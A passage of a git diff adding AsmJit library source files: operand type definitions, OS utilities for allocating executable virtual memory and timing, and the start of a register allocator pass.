ASMJIT_INLINE void setPtr(void* p) noexcept { setIntPtr((uint64_t)p); } + //! Set immediate value to `val`. + template + ASMJIT_INLINE void setValue(T val) noexcept { setIntPtr((int64_t)val); } + + // -------------------------------------------------------------------------- + // [Float] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE void setFloat(float f) noexcept { + _imm.value.f32Lo = f; + _imm.value.u32Hi = 0; + } + + ASMJIT_INLINE void setDouble(double d) noexcept { + _imm.value.f64 = d; + } + + // -------------------------------------------------------------------------- + // [Truncate] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE void truncateTo8Bits() noexcept { + if (ASMJIT_ARCH_64BIT) { + _imm.value.u64 &= static_cast(0x000000FFU); + } + else { + _imm.value.u32Lo &= 0x000000FFU; + _imm.value.u32Hi = 0; + } + } + + ASMJIT_INLINE void truncateTo16Bits() noexcept { + if (ASMJIT_ARCH_64BIT) { + _imm.value.u64 &= static_cast(0x0000FFFFU); + } + else { + _imm.value.u32Lo &= 0x0000FFFFU; + _imm.value.u32Hi = 0; + } + } + + ASMJIT_INLINE void truncateTo32Bits() noexcept { _imm.value.u32Hi = 0; } + + // -------------------------------------------------------------------------- + // [Operator Overload] + // -------------------------------------------------------------------------- + + //! Assign `other` to the immediate operand. + ASMJIT_INLINE Imm& operator=(const Imm& other) noexcept { copyFrom(other); return *this; } +}; + +//! Create a signed immediate operand. +static ASMJIT_INLINE Imm imm(int64_t val) noexcept { return Imm(val); } +//! Create an unsigned immediate operand. +static ASMJIT_INLINE Imm imm_u(uint64_t val) noexcept { return Imm(static_cast(val)); } +//! Create an immediate operand from `p`. +template +static ASMJIT_INLINE Imm imm_ptr(T p) noexcept { return Imm(static_cast((intptr_t)p)); } + +// ============================================================================ +// [asmjit::TypeId] +// ============================================================================ + +//! Type-id. +//! +//! This is an additional information that can be used to describe a physical +//! or virtual register. it's used mostly by CodeCompiler to describe register +//! representation (the kind of data stored in the register and the width used) +//! and it's also used by APIs that allow to describe and work with function +//! signatures. +struct TypeId { + // -------------------------------------------------------------------------- + // [Id] + // -------------------------------------------------------------------------- + + enum Id { + kVoid = 0, + + _kIntStart = 32, + _kIntEnd = 41, + + kIntPtr = 32, + kUIntPtr = 33, + + kI8 = 34, + kU8 = 35, + kI16 = 36, + kU16 = 37, + kI32 = 38, + kU32 = 39, + kI64 = 40, + kU64 = 41, + + _kFloatStart = 42, + _kFloatEnd = 44, + + kF32 = 42, + kF64 = 43, + kF80 = 44, + + _kMaskStart = 45, + _kMaskEnd = 48, + + kMask8 = 45, + kMask16 = 46, + kMask32 = 47, + kMask64 = 48, + + _kMmxStart = 49, + _kMmxEnd = 50, + + kMmx32 = 49, + kMmx64 = 50, + + _kVec32Start = 51, + _kVec32End = 60, + + kI8x4 = 51, + kU8x4 = 52, + kI16x2 = 53, + kU16x2 = 54, + kI32x1 = 55, + kU32x1 = 56, + kF32x1 = 59, + + _kVec64Start = 61, + _kVec64End = 70, + + kI8x8 = 61, + kU8x8 = 62, + kI16x4 = 63, + kU16x4 = 64, + kI32x2 = 65, + kU32x2 = 66, + kI64x1 = 67, + kU64x1 = 68, + kF32x2 = 69, + kF64x1 = 70, + + _kVec128Start = 71, + _kVec128End = 80, + + kI8x16 = 71, + kU8x16 = 72, + kI16x8 = 73, + kU16x8 = 74, + kI32x4 = 75, + kU32x4 = 76, + kI64x2 = 77, + kU64x2 = 78, + kF32x4 = 79, + kF64x2 = 80, + + _kVec256Start = 81, + _kVec256End = 90, + + kI8x32 = 81, + kU8x32 = 82, + kI16x16 = 83, + kU16x16 = 84, + kI32x8 = 85, + kU32x8 = 86, + kI64x4 = 87, + kU64x4 = 88, + kF32x8 = 89, + kF64x4 = 90, + + _kVec512Start = 91, + _kVec512End = 100, + + kI8x64 = 91, + kU8x64 = 92, + kI16x32 = 93, + kU16x32 = 94, + kI32x16 = 95, + kU32x16 = 96, + kI64x8 = 97, + kU64x8 = 98, + kF32x16 = 99, + kF64x8 = 100, + + kCount = 101 + }; + + // -------------------------------------------------------------------------- + // [TypeName - Used by Templates] + // -------------------------------------------------------------------------- + + struct Int8 {}; //!< int8_t as C++ type-name. + struct UInt8 {}; //!< uint8_t as C++ type-name. + struct Int16 {}; //!< int16_t as C++ type-name. + struct UInt16 {}; //!< uint16_t as C++ type-name. + struct Int32 {}; //!< int32_t as C++ type-name. + struct UInt32 {}; //!< uint32_t as C++ type-name. + struct Int64 {}; //!< int64_t as C++ type-name. + struct UInt64 {}; //!< uint64_t as C++ type-name. + struct IntPtr {}; //!< intptr_t as C++ type-name. + struct UIntPtr {}; //!< uintptr_t as C++ type-name. + struct Float {}; //!< float as C++ type-name. + struct Double {}; //!< double as C++ type-name. + struct MmxReg {}; //!< MMX register as C++ type-name. + struct Vec128 {}; //!< SIMD128/XMM register as C++ type-name. + struct Vec256 {}; //!< SIMD256/YMM register as C++ type-name. + struct Vec512 {}; //!< SIMD512/ZMM register as C++ type-name. + + // -------------------------------------------------------------------------- + // [Utilities] + // -------------------------------------------------------------------------- + + struct Info { + uint8_t sizeOf[128]; + uint8_t elementOf[128]; + }; + + ASMJIT_API static const Info _info; + + static ASMJIT_INLINE bool isVoid(uint32_t typeId) noexcept { return typeId == 0; } + static ASMJIT_INLINE bool isValid(uint32_t typeId) noexcept { return typeId >= _kIntStart && typeId <= _kVec512End; } + static ASMJIT_INLINE bool isAbstract(uint32_t typeId) noexcept { return typeId >= kIntPtr && typeId <= kUIntPtr; } + static ASMJIT_INLINE bool isInt(uint32_t typeId) noexcept { return typeId >= _kIntStart && typeId <= _kIntEnd; } + static ASMJIT_INLINE bool isGpb(uint32_t typeId) noexcept { return typeId >= kI8 && typeId <= kU8; } + static ASMJIT_INLINE bool isGpw(uint32_t typeId) noexcept { return typeId >= kI16 && typeId <= kU16; } + static ASMJIT_INLINE bool isGpd(uint32_t typeId) noexcept { return typeId >= kI32 && typeId <= kU32; } + static ASMJIT_INLINE bool isGpq(uint32_t typeId) noexcept { return typeId >= kI64 && typeId <= kU64; } + static ASMJIT_INLINE bool isFloat(uint32_t typeId) noexcept { return typeId >= _kFloatStart && typeId <= _kFloatEnd; } + static ASMJIT_INLINE bool isMask(uint32_t typeId) noexcept { return typeId >= _kMaskStart && typeId <= _kMaskEnd; } + static ASMJIT_INLINE bool isMmx(uint32_t typeId) noexcept { return typeId >= _kMmxStart && typeId <= _kMmxEnd; } + + static ASMJIT_INLINE bool isVec(uint32_t typeId) noexcept { return typeId >= _kVec32Start && typeId <= _kVec512End; } + static ASMJIT_INLINE bool isVec32(uint32_t typeId) noexcept { return typeId >= _kVec32Start && typeId <= _kVec32End; } + static ASMJIT_INLINE bool isVec64(uint32_t typeId) noexcept { return typeId >= _kVec64Start && typeId <= _kVec64End; } + static ASMJIT_INLINE bool isVec128(uint32_t typeId) noexcept { return typeId >= _kVec128Start && typeId <= _kVec128End; } + static ASMJIT_INLINE bool isVec256(uint32_t typeId) noexcept { return typeId >= _kVec256Start && typeId <= _kVec256End; } + static ASMJIT_INLINE bool isVec512(uint32_t typeId) noexcept { return typeId >= _kVec512Start && typeId <= _kVec512End; } + + static ASMJIT_INLINE uint32_t sizeOf(uint32_t typeId) noexcept { + ASMJIT_ASSERT(typeId < ASMJIT_ARRAY_SIZE(_info.sizeOf)); + return _info.sizeOf[typeId]; + } + + static ASMJIT_INLINE uint32_t elementOf(uint32_t typeId) noexcept { + ASMJIT_ASSERT(typeId < ASMJIT_ARRAY_SIZE(_info.elementOf)); + return _info.elementOf[typeId]; + } + + //! Get an offset to convert a `kIntPtr` and `kUIntPtr` TypeId into a + //! type that matches `gpSize` (general-purpose register size). If you + //! find such TypeId it's then only about adding the offset to it. + //! + //! For example: + //! ~~~ + //! uint32_t gpSize = '4' or '8'; + //! uint32_t deabstractDelta = TypeId::deabstractDeltaOfSize(gpSize); + //! + //! uint32_t typeId = 'some type-id'; + //! + //! // Normalize some typeId into a non-abstract typeId. + //! if (TypeId::isAbstract(typeId)) typeId += deabstractDelta; + //! + //! // The same, but by using TypeId::deabstract() function. + //! typeId = TypeId::deabstract(typeId, deabstractDelta); + //! ~~~ + static ASMJIT_INLINE uint32_t deabstractDeltaOfSize(uint32_t gpSize) noexcept { + return gpSize >= 8 ? kI64 - kIntPtr : kI32 - kIntPtr; + } + + static ASMJIT_INLINE uint32_t deabstract(uint32_t typeId, uint32_t deabstractDelta) noexcept { + return TypeId::isAbstract(typeId) ? typeId += deabstractDelta : typeId; + } +}; + +//! TypeIdOf<> template allows to get a TypeId of a C++ type. +template struct TypeIdOf { + // Don't provide anything if not specialized. +}; +template struct TypeIdOf { + enum { kTypeId = TypeId::kUIntPtr }; +}; + +template +struct TypeIdOfInt { + enum { + kSignatureed = int(~static_cast(0) < static_cast(0)), + kTypeId = (sizeof(T) == 1) ? (int)(kSignatureed ? TypeId::kI8 : TypeId::kU8 ) : + (sizeof(T) == 2) ? (int)(kSignatureed ? TypeId::kI16 : TypeId::kU16) : + (sizeof(T) == 4) ? (int)(kSignatureed ? TypeId::kI32 : TypeId::kU32) : + (sizeof(T) == 8) ? (int)(kSignatureed ? TypeId::kI64 : TypeId::kU64) : (int)TypeId::kVoid + }; +}; + +#define ASMJIT_DEFINE_TYPE_ID(T, TYPE_ID) \ + template<> \ + struct TypeIdOf { enum { kTypeId = TYPE_ID}; } + +ASMJIT_DEFINE_TYPE_ID(signed char , TypeIdOfInt< signed char >::kTypeId); +ASMJIT_DEFINE_TYPE_ID(unsigned char , TypeIdOfInt< unsigned char >::kTypeId); +ASMJIT_DEFINE_TYPE_ID(short , TypeIdOfInt< short >::kTypeId); +ASMJIT_DEFINE_TYPE_ID(unsigned short , TypeIdOfInt< unsigned short >::kTypeId); +ASMJIT_DEFINE_TYPE_ID(int , TypeIdOfInt< int >::kTypeId); +ASMJIT_DEFINE_TYPE_ID(unsigned int , TypeIdOfInt< unsigned int >::kTypeId); +ASMJIT_DEFINE_TYPE_ID(long , TypeIdOfInt< long >::kTypeId); +ASMJIT_DEFINE_TYPE_ID(unsigned long , TypeIdOfInt< unsigned long >::kTypeId); +#if ASMJIT_CC_MSC && !ASMJIT_CC_MSC_GE(16, 0, 0) +ASMJIT_DEFINE_TYPE_ID(__int64 , TypeIdOfInt< __int64 >::kTypeId); +ASMJIT_DEFINE_TYPE_ID(unsigned __int64 , TypeIdOfInt< unsigned __int64 >::kTypeId); +#else +ASMJIT_DEFINE_TYPE_ID(long long , TypeIdOfInt< long long >::kTypeId); +ASMJIT_DEFINE_TYPE_ID(unsigned long long, TypeIdOfInt< unsigned long long >::kTypeId); +#endif +#if ASMJIT_CC_HAS_NATIVE_CHAR +ASMJIT_DEFINE_TYPE_ID(char , TypeIdOfInt< char >::kTypeId); +#endif +#if ASMJIT_CC_HAS_NATIVE_CHAR16_T +ASMJIT_DEFINE_TYPE_ID(char16_t , TypeIdOfInt< char16_t >::kTypeId); +#endif +#if ASMJIT_CC_HAS_NATIVE_CHAR32_T +ASMJIT_DEFINE_TYPE_ID(char32_t , TypeIdOfInt< char32_t >::kTypeId); +#endif +#if ASMJIT_CC_HAS_NATIVE_WCHAR_T +ASMJIT_DEFINE_TYPE_ID(wchar_t , TypeIdOfInt< wchar_t >::kTypeId); +#endif + +ASMJIT_DEFINE_TYPE_ID(void , TypeId::kVoid); +ASMJIT_DEFINE_TYPE_ID(float , TypeId::kF32); +ASMJIT_DEFINE_TYPE_ID(double , TypeId::kF64); + +ASMJIT_DEFINE_TYPE_ID(TypeId::Int8 , TypeId::kI8); +ASMJIT_DEFINE_TYPE_ID(TypeId::UInt8 , TypeId::kU8); +ASMJIT_DEFINE_TYPE_ID(TypeId::Int16 , TypeId::kI16); +ASMJIT_DEFINE_TYPE_ID(TypeId::UInt16 , TypeId::kU16); +ASMJIT_DEFINE_TYPE_ID(TypeId::Int32 , TypeId::kI32); +ASMJIT_DEFINE_TYPE_ID(TypeId::UInt32 , TypeId::kU32); +ASMJIT_DEFINE_TYPE_ID(TypeId::Int64 , TypeId::kI64); +ASMJIT_DEFINE_TYPE_ID(TypeId::UInt64 , TypeId::kU64); +ASMJIT_DEFINE_TYPE_ID(TypeId::IntPtr , TypeId::kIntPtr); +ASMJIT_DEFINE_TYPE_ID(TypeId::UIntPtr , TypeId::kUIntPtr); +ASMJIT_DEFINE_TYPE_ID(TypeId::Float , TypeId::kF32); +ASMJIT_DEFINE_TYPE_ID(TypeId::Double , TypeId::kF64); +ASMJIT_DEFINE_TYPE_ID(TypeId::MmxReg , TypeId::kMmx64); +ASMJIT_DEFINE_TYPE_ID(TypeId::Vec128 , TypeId::kI32x4); +ASMJIT_DEFINE_TYPE_ID(TypeId::Vec256 , TypeId::kI32x8); +ASMJIT_DEFINE_TYPE_ID(TypeId::Vec512 , TypeId::kI32x16); + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_OPERAND_H diff --git a/asmjit/src/asmjit/base/osutils.cpp b/asmjit/src/asmjit/base/osutils.cpp new file mode 100644 index 0000000..08ddd7d --- /dev/null +++ b/asmjit/src/asmjit/base/osutils.cpp @@ -0,0 +1,228 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Dependencies] +#include "../base/osutils.h" +#include "../base/utils.h" + +#if ASMJIT_OS_POSIX +# include +# include +# include +# include +#endif // ASMJIT_OS_POSIX + +#if ASMJIT_OS_MAC +# include +#endif // ASMJIT_OS_MAC + +#if ASMJIT_OS_WINDOWS +# if defined(_MSC_VER) && _MSC_VER >= 1400 +# include +# else +# define _InterlockedCompareExchange InterlockedCompareExchange +# endif // _MSC_VER +#endif // ASMJIT_OS_WINDOWS + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [asmjit::OSUtils - Virtual Memory] +// ============================================================================ + +// Windows specific implementation using `VirtualAllocEx` and `VirtualFree`. +#if ASMJIT_OS_WINDOWS +static ASMJIT_NOINLINE const VMemInfo& OSUtils_GetVMemInfo() noexcept { + static VMemInfo vmi; + + if (ASMJIT_UNLIKELY(!vmi.hCurrentProcess)) { + SYSTEM_INFO info; + ::GetSystemInfo(&info); + + vmi.pageSize = Utils::alignToPowerOf2(info.dwPageSize); + vmi.pageGranularity = info.dwAllocationGranularity; + vmi.hCurrentProcess = ::GetCurrentProcess(); + } + + return vmi; +}; + +VMemInfo OSUtils::getVirtualMemoryInfo() noexcept { return OSUtils_GetVMemInfo(); } + +void* OSUtils::allocVirtualMemory(size_t size, size_t* allocated, uint32_t flags) noexcept { + return allocProcessMemory(static_cast(0), size, allocated, flags); +} + +Error OSUtils::releaseVirtualMemory(void* p, size_t size) noexcept { + return releaseProcessMemory(static_cast(0), p, size); +} + +void* OSUtils::allocProcessMemory(HANDLE hProcess, size_t size, size_t* allocated, uint32_t flags) noexcept { + if (size == 0) + return nullptr; + + const VMemInfo& vmi = OSUtils_GetVMemInfo(); + if (!hProcess) hProcess = vmi.hCurrentProcess; + + // VirtualAllocEx rounds the allocated size to a page size automatically, + // but we need the `alignedSize` so we can store the real allocated size + // into `allocated` output. + size_t alignedSize = Utils::alignTo(size, vmi.pageSize); + + // Windows XP SP2 / Vista+ allow data-execution-prevention (DEP). + DWORD protectFlags = 0; + + if (flags & kVMExecutable) + protectFlags |= (flags & kVMWritable) ? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ; + else + protectFlags |= (flags & kVMWritable) ? PAGE_READWRITE : PAGE_READONLY; + + LPVOID mBase = ::VirtualAllocEx(hProcess, nullptr, alignedSize, MEM_COMMIT | MEM_RESERVE, protectFlags); + if (ASMJIT_UNLIKELY(!mBase)) return nullptr; + + ASMJIT_ASSERT(Utils::isAligned(reinterpret_cast(mBase), vmi.pageSize)); + if (allocated) *allocated = alignedSize; + return mBase; +} + +Error OSUtils::releaseProcessMemory(HANDLE hProcess, void* p, size_t size) noexcept { + const VMemInfo& vmi = OSUtils_GetVMemInfo(); + if (!hProcess) hProcess = vmi.hCurrentProcess; + + if (ASMJIT_UNLIKELY(!::VirtualFreeEx(hProcess, p, 0, MEM_RELEASE))) + return DebugUtils::errored(kErrorInvalidState); + + return kErrorOk; +} +#endif // ASMJIT_OS_WINDOWS + +// Posix specific implementation using `mmap()` and `munmap()`. +#if ASMJIT_OS_POSIX + +// Mac uses MAP_ANON instead of MAP_ANONYMOUS. +#if !defined(MAP_ANONYMOUS) +# define MAP_ANONYMOUS MAP_ANON +#endif // MAP_ANONYMOUS + +static const VMemInfo& OSUtils_GetVMemInfo() noexcept { + static VMemInfo vmi; + if (ASMJIT_UNLIKELY(!vmi.pageSize)) { + size_t pageSize = ::getpagesize(); + vmi.pageSize = pageSize; + vmi.pageGranularity = std::max(pageSize, 65536); + } + return vmi; +}; + +VMemInfo OSUtils::getVirtualMemoryInfo() noexcept { return OSUtils_GetVMemInfo(); } + +void* OSUtils::allocVirtualMemory(size_t size, size_t* allocated, uint32_t flags) noexcept { + const VMemInfo& vmi = OSUtils_GetVMemInfo(); + + size_t alignedSize = Utils::alignTo(size, vmi.pageSize); + int protection = PROT_READ; + + if (flags & kVMWritable ) protection |= PROT_WRITE; + if (flags & kVMExecutable) protection |= PROT_EXEC; + + void* mbase = ::mmap(nullptr, alignedSize, protection, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (ASMJIT_UNLIKELY(mbase == MAP_FAILED)) return nullptr; + + if (allocated) *allocated = alignedSize; + return mbase; +} + +Error OSUtils::releaseVirtualMemory(void* p, size_t size) noexcept { + if (ASMJIT_UNLIKELY(::munmap(p, size) != 0)) + return DebugUtils::errored(kErrorInvalidState); + + return kErrorOk; +} +#endif // ASMJIT_OS_POSIX + +// ============================================================================ +// [asmjit::OSUtils - GetTickCount] +// ============================================================================ + +#if ASMJIT_OS_WINDOWS +static ASMJIT_INLINE uint32_t OSUtils_calcHiRes(const LARGE_INTEGER& now, double freq) noexcept { + return static_cast( + (int64_t)(double(now.QuadPart) / freq) & 0xFFFFFFFF); +} + +uint32_t OSUtils::getTickCount() noexcept { + static volatile uint32_t _hiResTicks; + static volatile double _hiResFreq; + + do { + uint32_t hiResOk = _hiResTicks; + LARGE_INTEGER qpf, now; + + // If for whatever reason this fails, bail to `GetTickCount()`. + if (!::QueryPerformanceCounter(&now)) break; + + // Expected - if we ran through this at least once `hiResTicks` will be + // either 1 or 0xFFFFFFFF. If it's '1' then the Hi-Res counter is available + // and `QueryPerformanceCounter()` can be used. + if (hiResOk == 1) return OSUtils_calcHiRes(now, _hiResFreq); + + // Hi-Res counter is not available, bail to `GetTickCount()`. + if (hiResOk != 0) break; + + // Detect availability of Hi-Res counter, if not available, bail to `GetTickCount()`. + if (!::QueryPerformanceFrequency(&qpf)) { + _InterlockedCompareExchange((LONG*)&_hiResTicks, 0xFFFFFFFF, 0); + break; + } + + double freq = double(qpf.QuadPart) / 1000.0; + _hiResFreq = freq; + + _InterlockedCompareExchange((LONG*)&_hiResTicks, 1, 0); + return OSUtils_calcHiRes(now, freq); + } while (0); + + return ::GetTickCount(); +} +#elif ASMJIT_OS_MAC +uint32_t OSUtils::getTickCount() noexcept { + static mach_timebase_info_data_t _machTime; + + // See Apple's QA1398. + if (ASMJIT_UNLIKELY(_machTime.denom == 0) || mach_timebase_info(&_machTime) != KERN_SUCCESS) + return 0; + + // `mach_absolute_time()` returns nanoseconds, we want milliseconds. + uint64_t t = mach_absolute_time() / 1000000; + + t = t * _machTime.numer / _machTime.denom; + return static_cast(t & 0xFFFFFFFFU); +} +#elif defined(_POSIX_MONOTONIC_CLOCK) && _POSIX_MONOTONIC_CLOCK >= 0 +uint32_t OSUtils::getTickCount() noexcept { + struct timespec ts; + + if (ASMJIT_UNLIKELY(clock_gettime(CLOCK_MONOTONIC, &ts) != 0)) + return 0; + + uint64_t t = (uint64_t(ts.tv_sec ) * 1000) + (uint64_t(ts.tv_nsec) / 1000000); + return static_cast(t & 0xFFFFFFFFU); +} +#else +#error "[asmjit] OSUtils::getTickCount() is not implemented for your target OS." +uint32_t OSUtils::getTickCount() noexcept { return 0; } +#endif + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" diff --git a/asmjit/src/asmjit/base/osutils.h b/asmjit/src/asmjit/base/osutils.h new file mode 100644 index 0000000..ccf6bee --- /dev/null +++ b/asmjit/src/asmjit/base/osutils.h @@ -0,0 +1,178 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_OSUTILS_H +#define _ASMJIT_BASE_OSUTILS_H + +// [Dependencies] +#include "../base/globals.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [asmjit::VMemInfo] +// ============================================================================ + +//! Information about OS virtual memory. +struct VMemInfo { +#if ASMJIT_OS_WINDOWS + HANDLE hCurrentProcess; //!< Handle of the current process (Windows). +#endif // ASMJIT_OS_WINDOWS + size_t pageSize; //!< Virtual memory page size. + size_t pageGranularity; //!< Virtual memory page granularity. +}; + +// ============================================================================ +// [asmjit::OSUtils] +// ============================================================================ + +//! OS utilities. +//! +//! Virtual Memory +//! -------------- +//! +//! Provides functions to allocate and release virtual memory that is required +//! to execute dynamically generated code. If both processor and host OS support +//! data-execution-prevention (DEP) then the only way to run machine code is to +//! allocate virtual memory that has `OSUtils::kVMExecutable` flag enabled. All +//! functions provides by OSUtils use internally platform specific API. +//! +//! Benchmarking +//! ------------ +//! +//! OSUtils also provide a function `getTickCount()` that can be used for +//! benchmarking purposes. It's similar to Windows-only `GetTickCount()`, but +//! it's cross-platform and tries to be the most reliable platform specific +//! calls to make the result usable. +struct OSUtils { + // -------------------------------------------------------------------------- + // [Virtual Memory] + // -------------------------------------------------------------------------- + + //! Virtual memory flags. + ASMJIT_ENUM(VMFlags) { + kVMWritable = 0x00000001U, //!< Virtual memory is writable. + kVMExecutable = 0x00000002U //!< Virtual memory is executable. + }; + + ASMJIT_API static VMemInfo getVirtualMemoryInfo() noexcept; + + //! Allocate virtual memory. + ASMJIT_API static void* allocVirtualMemory(size_t size, size_t* allocated, uint32_t flags) noexcept; + //! Release virtual memory previously allocated by \ref allocVirtualMemory(). + ASMJIT_API static Error releaseVirtualMemory(void* p, size_t size) noexcept; + +#if ASMJIT_OS_WINDOWS + //! Allocate virtual memory of `hProcess` (Windows). + ASMJIT_API static void* allocProcessMemory(HANDLE hProcess, size_t size, size_t* allocated, uint32_t flags) noexcept; + + //! Release virtual memory of `hProcess` (Windows). + ASMJIT_API static Error releaseProcessMemory(HANDLE hProcess, void* p, size_t size) noexcept; +#endif // ASMJIT_OS_WINDOWS + + // -------------------------------------------------------------------------- + // [GetTickCount] + // -------------------------------------------------------------------------- + + //! Get the current CPU tick count, used for benchmarking (1ms resolution). + ASMJIT_API static uint32_t getTickCount() noexcept; +}; + +// ============================================================================ +// [asmjit::Lock] +// ============================================================================ + +//! \internal +//! +//! Lock. +struct Lock { + ASMJIT_NONCOPYABLE(Lock) + + // -------------------------------------------------------------------------- + // [Windows] + // -------------------------------------------------------------------------- + +#if ASMJIT_OS_WINDOWS + typedef CRITICAL_SECTION Handle; + + //! Create a new `Lock` instance. + ASMJIT_INLINE Lock() noexcept { InitializeCriticalSection(&_handle); } + //! Destroy the `Lock` instance. + ASMJIT_INLINE ~Lock() noexcept { DeleteCriticalSection(&_handle); } + + //! Lock. + ASMJIT_INLINE void lock() noexcept { EnterCriticalSection(&_handle); } + //! Unlock. + ASMJIT_INLINE void unlock() noexcept { LeaveCriticalSection(&_handle); } +#endif // ASMJIT_OS_WINDOWS + + // -------------------------------------------------------------------------- + // [Posix] + // -------------------------------------------------------------------------- + +#if ASMJIT_OS_POSIX + typedef pthread_mutex_t Handle; + + //! Create a new `Lock` instance. + ASMJIT_INLINE Lock() noexcept { pthread_mutex_init(&_handle, nullptr); } + //! Destroy the `Lock` instance. + ASMJIT_INLINE ~Lock() noexcept { pthread_mutex_destroy(&_handle); } + + //! Lock. + ASMJIT_INLINE void lock() noexcept { pthread_mutex_lock(&_handle); } + //! Unlock. + ASMJIT_INLINE void unlock() noexcept { pthread_mutex_unlock(&_handle); } +#endif // ASMJIT_OS_POSIX + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + //! Native handle. + Handle _handle; +}; + +// ============================================================================ +// [asmjit::AutoLock] +// ============================================================================ + +//! \internal +//! +//! Scoped lock. +struct AutoLock { + ASMJIT_NONCOPYABLE(AutoLock) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE AutoLock(Lock& target) noexcept : _target(target) { _target.lock(); } + ASMJIT_INLINE ~AutoLock() noexcept { _target.unlock(); } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + //! Reference to the `Lock`. + Lock& _target; +}; + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_OSUTILS_H diff --git a/asmjit/src/asmjit/base/regalloc.cpp b/asmjit/src/asmjit/base/regalloc.cpp new file mode 100644 index 0000000..cbdfd85 --- /dev/null +++ b/asmjit/src/asmjit/base/regalloc.cpp @@ -0,0 +1,594 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Guard] +#include "../asmjit_build.h" +#if !defined(ASMJIT_DISABLE_COMPILER) + +// [Dependencies] +#include "../base/regalloc_p.h" +#include "../base/utils.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [asmjit::RAPass - Construction / Destruction] +// ============================================================================ + +RAPass::RAPass() noexcept : + CBPass("RA"), + _varMapToVaListOffset(0) {} +RAPass::~RAPass() noexcept {} + +// ============================================================================ +// [asmjit::RAPass - Interface] +// ============================================================================ + +Error RAPass::process(Zone* zone) noexcept { + _zone = zone; + _heap.reset(zone); + _emitComments = (cb()->getGlobalOptions() & CodeEmitter::kOptionLoggingEnabled) != 0; + + Error err = kErrorOk; + CBNode* node = cc()->getFirstNode(); + if (!node) return err; + + do { + if (node->getType() == CBNode::kNodeFunc) { + CCFunc* func = static_cast(node); + node = func->getEnd(); + + err = compile(func); + if (err) break; + } + + // Find a function by skipping all nodes that are not `kNodeFunc`. + do { + node = node->getNext(); + } while (node && node->getType() != CBNode::kNodeFunc); + } while (node); + + _heap.reset(nullptr); + _zone = nullptr; + return err; +} + +Error RAPass::compile(CCFunc* func) noexcept { + ASMJIT_PROPAGATE(prepare(func)); + + Error err; + do { + err = fetch(); + if (err) break; + + err = removeUnreachableCode(); + if (err) break; + + err = livenessAnalysis(); + if (err) break; + +#if !defined(ASMJIT_DISABLE_LOGGING) + if (cc()->getGlobalOptions() & CodeEmitter::kOptionLoggingEnabled) { + err = annotate(); + if (err) break; + } +#endif // !ASMJIT_DISABLE_LOGGING + + err = translate(); + } while (false); + + cleanup(); + + // We alter the compiler cursor, because it doesn't make sense to reference + // it after compilation - some nodes may disappear and it's forbidden to add + // new code after the compilation is done. + cc()->_setCursor(nullptr); + return err; +} + +Error RAPass::prepare(CCFunc* func) noexcept { + CBNode* end = func->getEnd(); + + _func = func; + _stop = end->getNext(); + + _unreachableList.reset(); + _returningList.reset(); + _jccList.reset(); + _contextVd.reset(); + + _memVarCells = nullptr; + _memStackCells = nullptr; + + _mem1ByteVarsUsed = 0; + _mem2ByteVarsUsed = 0; + _mem4ByteVarsUsed = 0; + _mem8ByteVarsUsed = 0; + _mem16ByteVarsUsed = 0; + _mem32ByteVarsUsed = 0; + _mem64ByteVarsUsed = 0; + _memStackCellsUsed = 0; + + _memMaxAlign = 0; + _memVarTotal = 0; + _memStackTotal = 0; + _memAllTotal = 0; + _annotationLength = 12; + + return kErrorOk; +} + +void RAPass::cleanup() noexcept { + VirtReg** virtArray = _contextVd.getData(); + size_t virtCount = _contextVd.getLength(); + + for (size_t i = 0; i < virtCount; i++) { + VirtReg* vreg = virtArray[i]; + vreg->_raId = kInvalidValue; + vreg->resetPhysId(); + } + + _contextVd.reset(); +} + +// ============================================================================ +// [asmjit::RAPass - Mem] +// ============================================================================ + +static ASMJIT_INLINE uint32_t RAGetDefaultAlignment(uint32_t size) { + if (size > 32) + return 64; + else if (size > 16) + return 32; + else if (size > 8) + return 16; + else if (size > 4) + return 8; + else if (size > 2) + return 4; + else if (size > 1) + return 2; + else + return 1; +} + +RACell* RAPass::_newVarCell(VirtReg* vreg) { + ASMJIT_ASSERT(vreg->_memCell == nullptr); + + RACell* cell; + uint32_t size = vreg->getSize(); + + if (vreg->isStack()) { + cell = _newStackCell(size, vreg->getAlignment()); + if (ASMJIT_UNLIKELY(!cell)) return nullptr; + } + else { + cell = static_cast(_zone->alloc(sizeof(RACell))); + if (!cell) goto _NoMemory; + + cell->next = _memVarCells; + cell->offset = 0; + cell->size = size; + cell->alignment = size; + + _memVarCells = cell; + _memMaxAlign = std::max(_memMaxAlign, size); + _memVarTotal += size; + + switch (size) { + case 1: _mem1ByteVarsUsed++ ; break; + case 2: _mem2ByteVarsUsed++ ; break; + case 4: _mem4ByteVarsUsed++ ; break; + case 8: _mem8ByteVarsUsed++ ; break; + case 16: _mem16ByteVarsUsed++; break; + case 32: _mem32ByteVarsUsed++; break; + case 64: _mem64ByteVarsUsed++; break; + + default: + ASMJIT_NOT_REACHED(); + } + } + + vreg->_memCell = cell; + return cell; + 